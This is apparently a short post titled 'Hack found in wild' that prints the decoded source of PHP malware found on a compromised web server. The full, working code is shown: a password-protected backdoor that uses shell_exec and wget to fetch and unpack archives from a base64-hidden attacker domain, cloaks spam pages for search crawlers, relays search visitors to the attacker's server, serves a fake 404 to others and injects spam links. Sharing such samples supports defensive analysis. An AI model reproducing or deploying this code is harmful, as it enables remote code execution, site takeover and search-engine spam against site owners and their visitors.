Created
August 9, 2016 12:33
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Hack found in wild
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print (base64_decode("set_time_limit(0); | |
function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){ | |
$ch = curl_init (); | |
curl_setopt ($ch, CURLOPT_URL,$url); | |
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt ($ch, CURLOPT_TIMEOUT, 30); | |
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); | |
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); | |
curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); | |
$result = curl_exec ($ch); | |
curl_close($ch); | |
return $result; | |
} | |
$doorcontent=""; | |
$x=@$_POST["pppp_check"]; | |
$md5pass="e5e4570182820af0a183ce1520afe43b"; | |
$host=@$_SERVER["HTTP_HOST"]; | |
$uri=@$_SERVER["REQUEST_URI"]; | |
$host=str_replace("www.","",$host); | |
$md5host=md5($host); | |
$urx=$host.$uri; | |
$md5urx=md5($urx); | |
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));} | |
$cdir=$tmppath."/.".$md5host."/"; | |
$domain=base64_decode("bWFnMWN3MHJsZC5jb20="); | |
if ($x!=""){ | |
$p=md5(base64_decode(@$_POST["p"])); | |
if ($p!=$md5pass)return; | |
$pa=@$_POST["pa"]; | |
if (($x=="2")||($x=="4")){ | |
echo "###UPDATING_FILES###\n"; | |
if ($x=="2"){ | |
$cmd="cd $tmppath; rm -rf .$md5host"; | |
echo shell_exec($cmd); | |
} | |
$cmd="cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz"; | |
if ($pa!=""){ | |
$pa+=0; | |
$cmd="cd $tmppath; wget http://update.$domain/arc/".$md5host."_".$pa.".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz"; | |
} | |
echo shell_exec($cmd); | |
exit; | |
} | |
if ($x=="3"){ | |
echo "###WORKED###\n";exit; | |
} | |
}else{ | |
$curx=$cdir.$md5urx; | |
if (@file_exists($curx)){ | |
@list($IDpack,$mk,$doorcontent,$pdf,$contenttype)=@explode("|||",@file_get_contents($curx)); | |
$doorcontent=@base64_decode($doorcontent); | |
$bot=0; | |
$se=0; | |
$mobile=0; | |
if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1; | |
if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1; | |
if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1; | |
if ($bot) { | |
$pdf+=0; | |
if ($pdf==1){ | |
header("Content-Type: application/pdf"); | |
} | |
if ($pdf==2){ | |
header("Content-Type: image/png"); | |
} | |
if ($pdf==3){ | |
header("Content-Type: text/xml"); | |
} | |
if ($pdf==4){ | |
$contenttype=@base64_decode($contenttype); | |
$types=explode("\n",$contenttype); | |
foreach($types as $val){ | |
$val=trim($val); | |
if($val!="")header($val); | |
} | |
} | |
echo $doorcontent;exit; | |
} | |
if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;} | |
header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found"); | |
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n"; | |
echo '<html><head>' . "\n"; | |
echo '<title>404 Not Found</title>' . "\n"; | |
echo '</head><body>' . "\n"; | |
echo '<h1>Not Found</h1>' . "\n"; | |
echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n"; | |
echo '<hr>' . "\n"; | |
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n"; | |
echo '</body></html>'; | |
exit; | |
}else{ | |
$crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; | |
$buf=get_page_by_curl($crurl); | |
$curx=$cdir."fff.sess"; | |
if (@file_exists($curx)){ | |
$links=@file($curx,FILE_SKIP_EMPTY_LINES|FILE_IGNORE_NEW_LINES); | |
$c=@count($links)-1; | |
shuffle($links); | |
if ($c>20)$c=20; | |
$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>"; | |
if(preg_match_all("/$regexp/siU", $buf, $matches)) { | |
$zval=$matches[0]; | |
shuffle($zval); | |
foreach($zval as $val){ | |
if ($c<0)break; | |
list($l,$anchor)=explode("|||",trim($links[$c])); | |
$new='<a href="'.$l.'">'.$anchor.'</a>'; | |
$buf=str_ireplace($val,$new,$buf); | |
$c--; | |
} | |
} | |
} | |
echo $buf; | |
} | |
} | |
")); |
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